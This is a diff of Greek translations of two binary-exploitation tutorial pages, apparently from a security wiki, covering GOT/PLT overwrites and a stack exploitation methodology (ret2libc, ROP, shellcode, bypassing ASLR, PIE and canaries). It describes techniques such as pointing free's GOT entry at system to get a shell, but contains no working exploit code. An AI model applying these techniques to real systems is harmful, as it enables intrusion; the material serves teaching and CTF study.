Translated ['src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-

src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md

@@ -8,11 +8,11 @@
 
 Ο **Παγκόσμιος Πίνακας Μεταθέσεων (GOT)** είναι ένας μηχανισμός που χρησιμοποιείται σε δυναμικά συνδεδεμένα δυαδικά αρχεία για τη διαχείριση των **διευθύνσεων εξωτερικών συναρτήσεων**. Δεδομένου ότι αυτές οι **διευθύνσεις δεν είναι γνωστές μέχρι την εκτέλεση** (λόγω δυναμικής σύνδεσης), ο GOT παρέχει έναν τρόπο για να **ενημερώνονται δυναμικά οι διευθύνσεις αυτών των εξωτερικών συμβόλων** μόλις επιλυθούν.
 
-Κάθε καταχώρηση στον GOT αντιστοιχεί σε ένα σύμβολο στις εξωτερικές βιβλιοθήκες που μπορεί να καλέσει το δυαδικό αρχείο. Όταν μια **συνάρτηση καλείται για πρώτη φορά, η πραγματική της διεύθυνση επιλύεται από τον δυναμικό σύνδεσμο και αποθηκεύεται στον GOT**. Οι επόμενες κλήσεις στην ίδια συνάρτηση χρησιμοποιούν τη διεύθυνση που είναι αποθηκευμένη στον GOT, αποφεύγοντας έτσι την επιβάρυνση της εκ νέου επίλυσης της διεύθυνσης.
+Κάθε καταχώρηση στον GOT αντιστοιχεί σε ένα σύμβολο στις εξωτερικές βιβλιοθήκες που μπορεί να καλέσει το δυαδικό αρχείο. Όταν μια **συνάρτηση καλείται για πρώτη φορά, η πραγματική της διεύθυνση επιλύεται από τον δυναμικό σύνδεσμο και αποθηκεύεται στον GOT**. Οι επόμενες κλήσεις στην ίδια συνάρτηση χρησιμοποιούν τη διεύθυνση που αποθηκεύεται στον GOT, αποφεύγοντας έτσι την επιβάρυνση της εκ νέου επίλυσης της διεύθυνσης.
 
 ### **PLT: Πίνακας Σύνδεσης Διαδικασιών**
 
-Ο **Πίνακας Σύνδεσης Διαδικασιών (PLT)** συνεργάζεται στενά με τον GOT και λειτουργεί ως trampoline για να διαχειρίζεται τις κλήσεις σε εξωτερικές συναρτήσεις. Όταν ένα δυαδικό αρχείο **καλεί μια εξωτερική συνάρτηση για πρώτη φορά, ο έλεγχος μεταφέρεται σε μια καταχώρηση στον PLT που σχετίζεται με αυτή τη συνάρτηση**. Αυτή η καταχώρηση PLT είναι υπεύθυνη για την κλήση του δυναμικού συνδέσμου για να επιλύσει τη διεύθυνση της συνάρτησης αν δεν έχει ήδη επιλυθεί. Αφού επιλυθεί η διεύθυνση, αποθηκεύεται στον **GOT**.
+Ο **Πίνακας Σύνδεσης Διαδικασιών (PLT)** συνεργάζεται στενά με τον GOT και λειτουργεί ως αναπήδηση για να διαχειρίζεται τις κλήσεις σε εξωτερικές συναρτήσεις. Όταν ένα δυαδικό αρχείο **καλεί μια εξωτερική συνάρτηση για πρώτη φορά, ο έλεγχος μεταφέρεται σε μια καταχώρηση στον PLT που σχετίζεται με αυτή τη συνάρτηση**. Αυτή η καταχώρηση PLT είναι υπεύθυνη για την κλήση του δυναμικού συνδέσμου για να επιλύσει τη διεύθυνση της συνάρτησης αν δεν έχει ήδη επιλυθεί. Αφού επιλυθεί η διεύθυνση, αποθηκεύεται στον **GOT**.
 
 **Επομένως,** οι καταχωρήσεις GOT χρησιμοποιούνται άμεσα μόλις επιλυθεί η διεύθυνση μιας εξωτερικής συνάρτησης ή μεταβλητής. **Οι καταχωρήσεις PLT χρησιμοποιούνται για να διευκολύνουν την αρχική επίλυση** αυτών των διευθύνσεων μέσω του δυναμικού συνδέσμου.
 
@@ -20,7 +20,7 @@
 
 ### Ελέγξτε τον GOT
 
-Λάβετε τη διεύθυνση του πίνακα GOT με: **`objdump -s -j .got ./exec`**
+Αποκτήστε τη διεύθυνση του πίνακα GOT με: **`objdump -s -j .got ./exec`**
 
 ![](<../../images/image (121).png>)
 
@@ -34,17 +34,17 @@
 
 ### GOT2Exec
 
-Σε ένα δυαδικό αρχείο, ο GOT έχει τις **διευθύνσεις στις συναρτήσεις ή** στην **ενότητα PLT** που θα φορτώσει τη διεύθυνση της συνάρτησης. Ο στόχος αυτής της αυθαίρετης εγγραφής είναι να **επικαλύψει μια καταχώρηση GOT** μιας συνάρτησης που πρόκειται να εκτελεστεί αργότερα **με** τη **διεύθυνση** του PLT της **συνάρτησης** **`system`** για παράδειγμα.
+Σε ένα δυαδικό αρχείο, ο GOT έχει τις **διευθύνσεις στις συναρτήσεις ή** στην **ενότητα PLT** που θα φορτώσει τη διεύθυνση της συνάρτησης. Ο στόχος αυτής της αυθαίρετης εγγραφής είναι να **επικαλύψει μια καταχώρηση GOT** μιας συνάρτησης που πρόκειται να εκτελεστεί αργότερα **με** τη **διεύθυνση** του PLT της **συνάρτησης `system`** για παράδειγμα.
 
-Ιδανικά, θα **επικαλύψετε** τον **GOT** μιας **συνάρτησης** που **θα κληθεί με παραμέτρους που ελέγχετε εσείς** (έτσι θα μπορείτε να ελέγξετε τις παραμέτρους που αποστέλλονται στη συνάρτηση system).
+Ιδανικά, θα **επικαλύψετε** τον **GOT** μιας **συνάρτησης** που πρόκειται να **καλεστεί με παραμέτρους που ελέγχετε εσείς** (έτσι θα μπορείτε να ελέγξετε τις παραμέτρους που αποστέλλονται στη συνάρτηση system).
 
 Αν η **`system`** **δεν χρησιμοποιείται** από το δυαδικό αρχείο, η συνάρτηση system **δεν θα** έχει μια καταχώρηση στον PLT. Σε αυτό το σενάριο, θα **πρέπει πρώτα να διαρρεύσετε τη διεύθυνση** της συνάρτησης `system` και στη συνέχεια να επικαλύψετε τον GOT για να δείξετε σε αυτή τη διεύθυνση.
 
 Μπορείτε να δείτε τις διευθύνσεις PLT με **`objdump -j .plt -d ./vuln_binary`**
 
-## Καταχωρήσεις GOT της libc
+## Εγγραφές GOT της libc
 
-Ο **GOT της libc** συνήθως μεταγλωττίζεται με **μερική RELRO**, καθιστώντας τον έναν ωραίο στόχο για αυτό, υποθέτοντας ότι είναι δυνατό να προσδιοριστεί η διεύθυνσή του ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)).
+Ο **GOT της libc** συνήθως έχει μεταγλωττιστεί με **μερική RELRO**, καθιστώντας τον έναν καλό στόχο για αυτό, υποθέτοντας ότι είναι δυνατό να προσδιοριστεί η διεύθυνσή του ([**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)).
 
 Κοινές συναρτήσεις της libc θα καλέσουν **άλλες εσωτερικές συναρτήσεις** των οποίων ο GOT θα μπορούσε να επικαλυφθεί προκειμένου να αποκτηθεί εκτέλεση κώδικα.
 
@@ -52,7 +52,7 @@
 
 ### **Free2system**
 
-Στην εκμετάλλευση heap CTFs είναι κοινό να μπορείτε να ελέγξετε το περιεχόμενο των chunks και σε κάποιο σημείο ακόμη και να επικαλύψετε τον πίνακα GOT. Ένα απλό κόλπο για να αποκτήσετε RCE αν δεν είναι διαθέσιμα gadgets είναι να επικαλύψετε τη διεύθυνση GOT του `free` ώστε να δείχνει στη `system` και να γράψετε μέσα σε ένα chunk `"/bin/sh"`. Με αυτόν τον τρόπο, όταν αυτό το chunk απελευθερωθεί, θα εκτελέσει `system("/bin/sh")`.
+Στην εκμετάλλευση heap CTFs είναι κοινό να μπορείτε να ελέγξετε το περιεχόμενο των τμημάτων και σε κάποιο σημείο ακόμη και να επικαλυφθεί ο πίνακας GOT. Ένα απλό κόλπο για να αποκτήσετε RCE αν δεν είναι διαθέσιμα gadgets είναι να επικαλύψετε τη διεύθυνση GOT του `free` ώστε να δείχνει στη `system` και να γράψετε μέσα σε ένα τμήμα `"/bin/sh"`. Με αυτόν τον τρόπο, όταν αυτό το τμήμα απελευθερωθεί, θα εκτελέσει `system("/bin/sh")`.
 
 ### **Strlen2system**
 
@@ -68,8 +68,8 @@
 
 ## **Κατάχρηση του GOT από Heap**
 
-Ένας κοινός τρόπος για να αποκτήσετε RCE από μια ευπάθεια heap είναι να καταχραστείτε ένα fastbin ώστε να είναι δυνατό να προσθέσετε το μέρος του πίνακα GOT στο fast bin, έτσι ώστε κάθε φορά που αυτό το chunk κατανεμηθεί θα είναι δυνατό να **επικαλύψετε τον δείκτη μιας συνάρτησης, συνήθως του `free`**.\
-Στη συνέχεια, δείχνοντας το `free` στη `system` και απελευθερώνοντας ένα chunk όπου γράφτηκε το `/bin/sh\x00` θα εκτελέσει ένα shell.
+Ένας κοινός τρόπος για να αποκτήσετε RCE από μια ευπάθεια heap είναι να καταχραστείτε ένα fastbin ώστε να είναι δυνατό να προσθέσετε το μέρος του πίνακα GOT στο fast bin, έτσι ώστε κάθε φορά που αυτό το τμήμα κατανεμηθεί θα είναι δυνατό να **επικαλύψετε τον δείκτη μιας συνάρτησης, συνήθως `free`**.\
+Στη συνέχεια, δείχνοντας το `free` στη `system` και απελευθερώνοντας ένα τμήμα όπου γράφτηκε το `/bin/sh\x00` θα εκτελέσει ένα shell.
 
 Είναι δυνατό να βρείτε ένα [**παράδειγμα εδώ**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**.**
 

src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md

@@ -4,7 +4,7 @@
 
 ## Βασικές Πληροφορίες για ELF
 
-Πριν ξεκινήσετε να εκμεταλλεύεστε οτιδήποτε, είναι ενδιαφέρον να κατανοήσετε μέρος της δομής ενός **ELF δυαδικού αρχείου**:
+Πριν ξεκινήσετε να εκμεταλλεύεστε οτιδήποτε, είναι ενδιαφέρον να κατανοήσετε μέρος της δομής ενός **ELF δυαδικού**:
 
 {{#ref}}
 elf-tricks.md
@@ -24,13 +24,13 @@ tools/
 
 Υπάρχουν διάφοροι τρόποι με τους οποίους μπορείτε να ελέγξετε τη ροή ενός προγράμματος:
 
-- [**Σφάλματα Στοίβας**](../stack-overflow/) που παραγράφουν τον δείκτη επιστροφής από τη στοίβα ή το EBP -> ESP -> EIP.
-- Μπορεί να χρειαστεί να καταχραστείτε ένα [**Σφάλμα Ακέραιου**](../integer-overflow.md) για να προκαλέσετε το σφάλμα.
-- Ή μέσω **Αυθαίρετων Εγγραφών + Γράψτε Τι Πού για Εκτέλεση**.
-- [**Μορφοποιημένες συμβολοσειρές**](../format-strings/)**:** Καταχραστείτε το `printf` για να γράψετε αυθαίρετο περιεχόμενο σε αυθαίρετες διευθύνσεις.
-- [**Δεικτοδότηση Πίνακα**](../array-indexing.md): Καταχραστείτε μια κακώς σχεδιασμένη δεικτοδότηση για να μπορέσετε να ελέγξετε ορισμένους πίνακες και να αποκτήσετε μια αυθαίρετη εγγραφή.
-- Μπορεί να χρειαστεί να καταχραστείτε ένα [**Σφάλμα Ακέραιου**](../integer-overflow.md) για να προκαλέσετε το σφάλμα.
-- **bof σε WWW μέσω ROP**: Καταχραστείτε μια υπερχείλιση buffer για να κατασκευάσετε ένα ROP και να μπορέσετε να αποκτήσετε ένα WWW.
+- [**Σφάλματα Στοίβας**](../stack-overflow/index.html) που παραγράφουν τον δείκτη επιστροφής από τη στοίβα ή το EBP -> ESP -> EIP.
+- Μπορεί να χρειαστεί να εκμεταλλευτείτε ένα [**Σφάλμα Ακέραιου**](../integer-overflow.md) για να προκαλέσετε το σφάλμα
+- Ή μέσω **Αυθαίρετων Εγγραφών + Γράψτε Τι Πού για Εκτέλεση**
+- [**Μορφοποιημένες συμβολοσειρές**](../format-strings/index.html)**:** Εκμεταλλευτείτε το `printf` για να γράψετε αυθαίρετο περιεχόμενο σε αυθαίρετες διευθύνσεις.
+- [**Δεικτοδότηση Πίνακα**](../array-indexing.md): Εκμεταλλευτείτε μια κακώς σχεδιασμένη δεικτοδότηση για να μπορέσετε να ελέγξετε ορισμένους πίνακες και να αποκτήσετε μια αυθαίρετη εγγραφή.
+- Μπορεί να χρειαστεί να εκμεταλλευτείτε ένα [**Σφάλμα Ακέραιου**](../integer-overflow.md) για να προκαλέσετε το σφάλμα
+- **bof σε WWW μέσω ROP**: Εκμεταλλευτείτε μια υπερχείλιση buffer για να κατασκευάσετε ένα ROP και να μπορέσετε να αποκτήσετε ένα WWW.
 
 Μπορείτε να βρείτε τις τεχνικές **Γράψτε Τι Πού για Εκτέλεση** σε:
 
@@ -40,11 +40,11 @@ tools/
 
 ## Αιώνιοι Βρόχοι
 
-Κάτι που πρέπει να λάβετε υπόψη είναι ότι συνήθως **μόνο μία εκμετάλλευση μιας ευπάθειας μπορεί να μην είναι αρκετή** για να εκτελέσετε μια επιτυχημένη εκμετάλλευση, ειδικά κάποιες προστασίες χρειάζονται να παρακαμφθούν. Επομένως, είναι ενδιαφέρον να συζητήσουμε ορισμένες επιλογές για **να κάνουμε μια μοναδική ευπάθεια εκμεταλλεύσιμη πολλές φορές** στην ίδια εκτέλεση του δυαδικού αρχείου:
+Κάτι που πρέπει να λάβετε υπόψη είναι ότι συνήθως **μόνο μία εκμετάλλευση μιας ευπάθειας μπορεί να μην είναι αρκετή** για να εκτελέσετε μια επιτυχημένη εκμετάλλευση, ειδικά κάποιες προστασίες χρειάζονται να παρακαμφθούν. Επομένως, είναι ενδιαφέρον να συζητήσουμε ορισμένες επιλογές για **να κάνουμε μια μοναδική ευπάθεια εκμεταλλεύσιμη πολλές φορές** στην ίδια εκτέλεση του δυαδικού:
 
 - Γράψτε σε μια **αλυσίδα ROP** τη διεύθυνση της **`main` συνάρτησης** ή τη διεύθυνση όπου συμβαίνει η **ευπάθεια**.
-- Ελέγχοντας μια κατάλληλη αλυσίδα ROP, μπορεί να είστε σε θέση να εκτελέσετε όλες τις ενέργειες σε αυτήν την αλυσίδα.
-- Γράψτε στη **διεύθυνση `exit` στο GOT** (ή σε οποιαδήποτε άλλη συνάρτηση που χρησιμοποιείται από το δυαδικό πριν τελειώσει) τη διεύθυνση για να **επιστρέψετε στην ευπάθεια**.
+- Ελέγχοντας μια κατάλληλη αλυσίδα ROP, μπορεί να είστε σε θέση να εκτελέσετε όλες τις ενέργειες σε αυτήν την αλυσίδα
+- Γράψτε στη **διεύθυνση `exit` στο GOT** (ή σε οποιαδήποτε άλλη συνάρτηση που χρησιμοποιείται από το δυαδικό πριν από την ολοκλήρωση) τη διεύθυνση για να **επιστρέψετε στην ευπάθεια**
 - Όπως εξηγήθηκε στο [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** αποθηκεύστε 2 συναρτήσεις εδώ, μία για να καλέσετε ξανά την ευπάθεια και άλλη για να καλέσετε**`__libc_csu_fini`** που θα καλέσει ξανά τη συνάρτηση από το `.fini_array`.
 
 ## Στόχοι Εκμετάλλευσης
@@ -52,60 +52,60 @@ tools/
 ### Στόχος: Κλήση Μιας Υπάρχουσας Συνάρτησης
 
 - [**ret2win**](#ret2win): Υπάρχει μια συνάρτηση στον κώδικα που πρέπει να καλέσετε (ίσως με κάποιες συγκεκριμένες παραμέτρους) προκειμένου να αποκτήσετε τη σημαία.
-- Σε μια **κανονική bof χωρίς** [**PIE**](../common-binary-protections-and-bypasses/pie/) **και** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) απλά χρειάζεται να γράψετε τη διεύθυνση στη διεύθυνση επιστροφής που αποθηκεύεται στη στοίβα.
-- Σε μια bof με [**PIE**](../common-binary-protections-and-bypasses/pie/), θα χρειαστεί να την παρακάμψετε.
-- Σε μια bof με [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), θα χρειαστεί να την παρακάμψετε.
+- Σε μια **κανονική bof χωρίς** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **και** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html) απλά χρειάζεται να γράψετε τη διεύθυνση στη διεύθυνση επιστροφής που αποθηκεύεται στη στοίβα.
+- Σε μια bof με [**PIE**](../common-binary-protections-and-bypasses/pie/index.html), θα χρειαστεί να την παρακάμψετε
+- Σε μια bof με [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html), θα χρειαστεί να την παρακάμψετε
 - Αν χρειαστεί να ορίσετε πολλές παραμέτρους για να καλέσετε σωστά τη συνάρτηση **ret2win**, μπορείτε να χρησιμοποιήσετε:
-- Μια [**ROP**](#rop-and-ret2...-techniques) **αλυσίδα αν υπάρχουν αρκετά gadgets** για να προετοιμάσετε όλες τις παραμέτρους.
-- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (σε περίπτωση που μπορείτε να καλέσετε αυτή τη syscall) για να ελέγξετε πολλούς καταχωρητές.
-- Gadgets από [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) και [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) για να ελέγξετε αρκετούς καταχωρητές.
-- Μέσω ενός [**Write What Where**](../arbitrary-write-2-exec/) μπορείτε να καταχραστείτε άλλες ευπάθειες (όχι bof) για να καλέσετε τη συνάρτηση **`win`**.
-- [**Διευθύνσεις Ανακατεύθυνσης**](../stack-overflow/pointer-redirecting.md): Σε περίπτωση που η στοίβα περιέχει δείκτες σε μια συνάρτηση που πρόκειται να κληθεί ή σε μια συμβολοσειρά που πρόκειται να χρησιμοποιηθεί από μια ενδιαφέρουσα συνάρτηση (system ή printf), είναι δυνατό να παραγράψετε αυτή τη διεύθυνση.
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ή [**PIE**](../common-binary-protections-and-bypasses/pie/) μπορεί να επηρεάσουν τις διευθύνσεις.
+- Μια [**ROP**](#rop-and-ret2...-techniques) **αλυσίδα αν υπάρχουν αρκετά gadgets** για να προετοιμάσετε όλες τις παραμέτρους
+- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) (σε περίπτωση που μπορείτε να καλέσετε αυτή τη syscall) για να ελέγξετε πολλούς καταχωρητές
+- Gadgets από [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) και [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) για να ελέγξετε αρκετούς καταχωρητές
+- Μέσω ενός [**Write What Where**](../arbitrary-write-2-exec/index.html) μπορείτε να εκμεταλλευτείτε άλλες ευπάθειες (όχι bof) για να καλέσετε τη συνάρτηση **`win`**.
+- [**Ανακατεύθυνση Δεικτών**](../stack-overflow/pointer-redirecting.md): Σε περίπτωση που η στοίβα περιέχει δείκτες σε μια συνάρτηση που πρόκειται να κληθεί ή σε μια συμβολοσειρά που πρόκειται να χρησιμοποιηθεί από μια ενδιαφέρουσα συνάρτηση (system ή printf), είναι δυνατόν να παραγράψετε αυτή τη διεύθυνση.
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) ή [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) μπορεί να επηρεάσουν τις διευθύνσεις.
 - [**Μη αρχικοποιημένες μεταβλητές**](../stack-overflow/uninitialized-variables.md): Ποτέ δεν ξέρετε.
 
 ### Στόχος: RCE
 
 #### Μέσω shellcode, αν το nx είναι απενεργοποιημένο ή αναμειγνύοντας shellcode με ROP:
 
-- [**(Στοίβα) Shellcode**](#stack-shellcode): Αυτό είναι χρήσιμο για να αποθηκεύσετε ένα shellcode στη στοίβα πριν ή μετά την υπερχείλιση του δείκτη επιστροφής και στη συνέχεια **να κάνετε jump σε αυτό** για να το εκτελέσετε:
-- **Σε κάθε περίπτωση, αν υπάρχει ένα** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** σε μια κανονική bof θα χρειαστεί να την παρακάμψετε (leak).
-- **Χωρίς** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **και** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) είναι δυνατό να κάνετε jump στη διεύθυνση της στοίβας καθώς δεν θα αλλάξει ποτέ.
-- **Με** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) θα χρειαστείτε τεχνικές όπως [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) για να κάνετε jump σε αυτό.
-- **Με** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), θα χρειαστεί να χρησιμοποιήσετε κάποιο [**ROP**](../rop-return-oriented-programing/) **για να καλέσετε `memprotect`** και να κάνετε κάποια σελίδα `rwx`, προκειμένου να **αποθηκεύσετε το shellcode εκεί** (καλώντας read για παράδειγμα) και στη συνέχεια να κάνετε jump εκεί.
+- [**(Στοίβα) Shellcode**](#stack-shellcode): Αυτό είναι χρήσιμο για να αποθηκεύσετε ένα shellcode στη στοίβα πριν ή μετά την υπερχείλιση του δείκτη επιστροφής και στη συνέχεια **να μεταβείτε σε αυτό** για να το εκτελέσετε:
+- **Σε κάθε περίπτωση, αν υπάρχει ένα** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html)**,** σε μια κανονική bof θα χρειαστεί να την παρακάμψετε (leak)
+- **Χωρίς** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **και** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) είναι δυνατόν να μεταβείτε στη διεύθυνση της στοίβας καθώς δεν θα αλλάξει ποτέ
+- **Με** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) θα χρειαστείτε τεχνικές όπως [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) για να μεταβείτε σε αυτό
+- **Με** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), θα χρειαστεί να χρησιμοποιήσετε κάποιο [**ROP**](../rop-return-oriented-programing/index.html) **για να καλέσετε `memprotect`** και να κάνετε κάποια σελίδα `rwx`, προκειμένου να **αποθηκεύσετε το shellcode εκεί** (καλώντας read για παράδειγμα) και στη συνέχεια να μεταβείτε εκεί.
 - Αυτό θα αναμείξει το shellcode με μια αλυσίδα ROP.
 
 #### Μέσω syscalls
 
-- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Χρήσιμο για να καλέσετε `execve` για να εκτελέσετε αυθαίρετες εντολές. Πρέπει να μπορείτε να βρείτε τους **gadgets για να καλέσετε τη συγκεκριμένη syscall με τις παραμέτρους**.
-- Αν [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ή [**PIE**](../common-binary-protections-and-bypasses/pie/) είναι ενεργοποιημένα, θα χρειαστεί να τα νικήσετε **προκειμένου να χρησιμοποιήσετε ROP gadgets** από το δυαδικό ή τις βιβλιοθήκες.
-- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) μπορεί να είναι χρήσιμο για να προετοιμάσετε το **ret2execve**.
-- Gadgets από [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) και [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) για να ελέγξετε αρκετούς καταχωρητές.
+- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html): Χρήσιμο για να καλέσετε το `execve` για να εκτελέσετε αυθαίρετες εντολές. Πρέπει να μπορείτε να βρείτε τους **gadgets για να καλέσετε τη συγκεκριμένη syscall με τις παραμέτρους**.
+- Αν [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) ή [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) είναι ενεργοποιημένα, θα χρειαστεί να τα νικήσετε **για να χρησιμοποιήσετε ROP gadgets** από το δυαδικό ή τις βιβλιοθήκες.
+- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) μπορεί να είναι χρήσιμο για να προετοιμάσετε το **ret2execve**
+- Gadgets από [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) και [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) για να ελέγξετε αρκετούς καταχωρητές
 
 #### Μέσω libc
 
-- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Χρήσιμο για να καλέσετε μια συνάρτηση από μια βιβλιοθήκη (συνήθως από **`libc`**) όπως **`system`** με κάποιες προετοιμασμένες παραμέτρους (π.χ. `'/bin/sh'`). Πρέπει το δυαδικό να **φορτώσει τη βιβλιοθήκη** με τη συνάρτηση που θα θέλατε να καλέσετε (συνήθως libc).
-- Αν **είναι στατικά μεταγλωττισμένο και χωρίς** [**PIE**](../common-binary-protections-and-bypasses/pie/), η **διεύθυνση** του `system` και του `/bin/sh` δεν θα αλλάξει, οπότε είναι δυνατό να τις χρησιμοποιήσετε στατικά.
-- **Χωρίς** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **και γνωρίζοντας την έκδοση libc** που έχει φορτωθεί, η **διεύθυνση** του `system` και του `/bin/sh` δεν θα αλλάξει, οπότε είναι δυνατό να τις χρησιμοποιήσετε στατικά.
-- Με [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **αλλά χωρίς** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, γνωρίζοντας την libc και με το δυαδικό να χρησιμοποιεί τη συνάρτηση `system`** είναι δυνατό να **`ret` στη διεύθυνση του system στο GOT** με τη διεύθυνση του `'/bin/sh'` στην παράμετρο (θα χρειαστεί να το καταλάβετε αυτό).
-- Με [ASLR](../common-binary-protections-and-bypasses/aslr/) αλλά χωρίς [PIE](../common-binary-protections-and-bypasses/pie/), γνωρίζοντας την libc και **χωρίς το δυαδικό να χρησιμοποιεί τη `system`** :
-- Χρησιμοποιήστε [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) για να επιλύσετε τη διεύθυνση του `system` και να την καλέσετε.
-- **Παρακάμψτε** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) και υπολογίστε τη διεύθυνση του `system` και του `'/bin/sh'` στη μνήμη.
-- **Με** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **και** [**PIE**](../common-binary-protections-and-bypasses/pie/) **και χωρίς να γνωρίζετε την libc**: Πρέπει να:
-- Παρακάμψετε [**PIE**](../common-binary-protections-and-bypasses/pie/).
-- Βρείτε την **έκδοση `libc`** που χρησιμοποιείται (leak μερικές διευθύνσεις συναρτήσεων).
+- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/index.html): Χρήσιμο για να καλέσετε μια συνάρτηση από μια βιβλιοθήκη (συνήθως από **`libc`**) όπως **`system`** με κάποιες προετοιμασμένες παραμέτρους (π.χ. `'/bin/sh'`). Πρέπει το δυαδικό να **φορτώσει τη βιβλιοθήκη** με τη συνάρτηση που θα θέλατε να καλέσετε (συνήθως libc).
+- Αν **είναι στατικά μεταγλωττισμένο και δεν έχει** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html), η **διεύθυνση** του `system` και του `/bin/sh` δεν θα αλλάξει, οπότε είναι δυνατόν να τις χρησιμοποιήσετε στατικά.
+- **Χωρίς** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **και γνωρίζοντας την έκδοση libc** που έχει φορτωθεί, η **διεύθυνση** του `system` και του `/bin/sh` δεν θα αλλάξει, οπότε είναι δυνατόν να τις χρησιμοποιήσετε στατικά.
+- Με [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **αλλά χωρίς** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)**, γνωρίζοντας την libc και με το δυαδικό να χρησιμοποιεί τη συνάρτηση `system`** είναι δυνατόν να **`ret` στη διεύθυνση του system στο GOT** με τη διεύθυνση του `'/bin/sh'` στην παράμετρο (θα χρειαστεί να το καταλάβετε).
+- Με [ASLR](../common-binary-protections-and-bypasses/aslr/index.html) αλλά χωρίς [PIE](../common-binary-protections-and-bypasses/pie/index.html), γνωρίζοντας την libc και **χωρίς το δυαδικό να χρησιμοποιεί τη `system`** :
+- Χρησιμοποιήστε [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) για να επιλύσετε τη διεύθυνση του `system` και να την καλέσετε
+- **Παρακάμψτε** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) και υπολογίστε τη διεύθυνση του `system` και του `'/bin/sh'` στη μνήμη.
+- **Με** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **και** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **και χωρίς να γνωρίζετε την libc**: Πρέπει να:
+- Παρακάμψετε [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)
+- Βρείτε την **έκδοση `libc`** που χρησιμοποιείται (leak μερικές διευθύνσεις συναρτήσεων)
 - Ελέγξτε τα **προηγούμενα σενάρια με ASLR** για να συνεχίσετε.
 
 #### Μέσω EBP/RBP
 
 - [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Ελέγξτε το ESP για να ελέγξετε το RET μέσω του αποθηκευμένου EBP στη στοίβα.
-- Χρήσιμο για **off-by-one** υπερχείλιση στοίβας.
-- Χρήσιμο ως εναλλακτικός τρόπος για να ελέγξετε το EIP ενώ καταχράστε το EIP για να κατασκευάσετε το payload στη μνήμη και στη συνέχεια να κάνετε jump σε αυτό μέσω EBP.
+- Χρήσιμο για **off-by-one** υπερχείλιση στοίβας
+- Χρήσιμο ως εναλλακτικός τρόπος για να ελέγξετε το EIP ενώ εκμεταλλεύεστε το EIP για να κατασκευάσετε το payload στη μνήμη και στη συνέχεια να μεταβείτε σε αυτό μέσω EBP
 
 #### Διάφορα
 
-- [**Διευθύνσεις Ανακατεύθυνσης**](../stack-overflow/pointer-redirecting.md): Σε περίπτωση που η στοίβα περιέχει δείκτες σε μια συνάρτηση που πρόκειται να κληθεί ή σε μια συμβολοσειρά που πρόκειται να χρησιμοποιηθεί από μια ενδιαφέρουσα συνάρτηση (system ή printf), είναι δυνατό να παραγράψετε αυτή τη διεύθυνση.
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ή [**PIE**](../common-binary-protections-and-bypasses/pie/) μπορεί να επηρεάσουν τις διευθύνσεις.
-- [**Μη αρχικοποιημένες μεταβλητές**](../stack-overflow/uninitialized-variables.md): Ποτέ δεν ξέρετε.
